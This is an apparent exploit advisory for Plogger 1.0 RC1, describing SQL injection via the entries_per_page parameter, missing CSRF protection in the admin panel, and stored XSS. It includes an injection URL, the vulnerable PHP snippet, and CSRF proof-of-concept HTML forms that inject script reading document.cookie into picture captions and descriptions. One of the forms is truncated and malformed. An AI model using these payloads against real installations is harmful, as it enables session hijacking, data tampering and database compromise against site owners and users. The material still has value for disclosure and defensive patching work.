Plogger - Multiple Input Validation Vulnerabilities

Код:

source: https://www.securityfocus.com/bid/58271/info

Plogger is prone to following input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data:

1. An SQL-injection vulnerability
2. Multiple cross-site scripting vulnerabilities
3. A cross-site request forgery vulnerability

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in context of the affected site, steal cookie-based authentication credentials, access or modify data, exploit latent vulnerabilities in the underlying database, and perform certain unauthorized actions; other attacks are also possible.

Plogger 1.0 Rc1 is vulnerable; other versions may also be affected. 

+---+[ Feedback.php Sqli ]+---+

Injectable On entries_per_pag Parameter In Feedback.php

http://www.example.com/plogger/plog-admin/plog-feedback.php?entries_per_page=5'

p0c

if (isset($_REQUEST['entries_per_page'])) {
    $_SESSION['entries_per_page'] = $_REQUEST['entries_per_page'];
  } else if (!isset($_SESSION['entries_per_page'])) {
    $_SESSION['entries_per_page'] = 20;
  }
.
.
.
$limit = "LIMIT ".$first_item.", ".$_SESSION['entries_per_page'];
.
.

// Generate javascript init function for ajax editing
  $query = "SELECT *, UNIX_TIMESTAMP(`date`) AS `date` from ".PLOGGER_TABLE_PREFIX."comments WHERE `approved` = ".$approved." ORDER BY `id` DESC ".$limit;
  $result = run_query($query);

+---+[ CSRF In Admin Panel ]+---+

Plogger is Not using any parameter or security Token to Protect Against CSRF , So its Vuln To CSRF on ALl Locations Inside Admin Panel..

+---+[ XSS ]+---+

Their Are Multiple XSS in Plogger.Like Editing Comment inside Admin Panel.They Are Filtering The Comments For Normal User But Not For Admin.
And AS it is CSRF All Where SO We Can Edit AN Comment VIA CSRF and Change it With Any XSS Vector..

XSS
http://www.example.com/plogger/plog-admin/plog-feedback.php
Edit Comment With ANy XSS Vector OR JUSt do it VIA CSRF.


Uploading the File and enter name to any XSS Vector..

http://www.example.com/plogger/plog-admin/plog-upload.php

It Can Me Exploit IN Many Ways LIke
CSRF + SQLI inside Admin panel..which Is define above.

XSS In Edit Comment.CSRF + XSS

<html>
<head>
<form class="edit width-700" action="www.example.com/plogger/plog-admin/plog-feedback.php" method="post">
    <div style="float: right;"><img src="http://www.example.com/plogger/plog-content/thumbs/plogger-test-collection/plogger-test-album/small/123.png" alt="" /></div>
    <div>
      <div class="strong">Edit Comment</div>
      <p>
        <label class="strong" accesskey="a" for="author">Author:</label><br />

      <input class="submit-cancel" name="cancel" value="Cancel" type="submit" />
    </div>
  </form>


Another XSS
http://www.example.com/plogger/plog-admin/plog-manage.php?action=edit-picture&id=1
Edit Caption To XSS Vector Inside Admin PAnel..
Again CSRF + XSS
<form class="edit width-700" action="www.example.com/plogger/plog-admin/plog-manage.php?level=pictures&id=1" method="post">
      <div style="float: right;"><img src="http://www.example.com/plogger/plog-content/thumbs/plogger-test-collection/plogger-test-album/small/123.png" alt="" /></div>
      <div>
        <div class="strong">Edit Image Properties</div>
        <p>
          <label class="strong" accesskey="c" for="caption"><em>C</em>aption:</label><br />
          <input size="62" name="caption" id="caption" value="<script>alert(document.cookie);</script>" type="hidden"/>
        </p>
        <p>
          <label class="strong" for="description">Description:</label><br />
          <textarea name="description" id="description" cols="60" rows="5"><script>alert(document.cookie);</script>&lt;/textarea&gt;
        </p>
        <p><input type="checkbox" id="allow_comments" name="allow_comments" value="1" checked="checked" /><label class="strong" for="allow_comments" accesskey="w">Allo<em>w</em> Comments?</label></p>
        <input type="hidden" name="pid" value="1" />
        <input type="hidden" name="action" value="update-picture" />
        <input class="submit" name="update" value="Update" type="submit" />
        <input class="submit-cancel" name="cancel" value="Cancel" type="submit" />
      </div>
    </form>
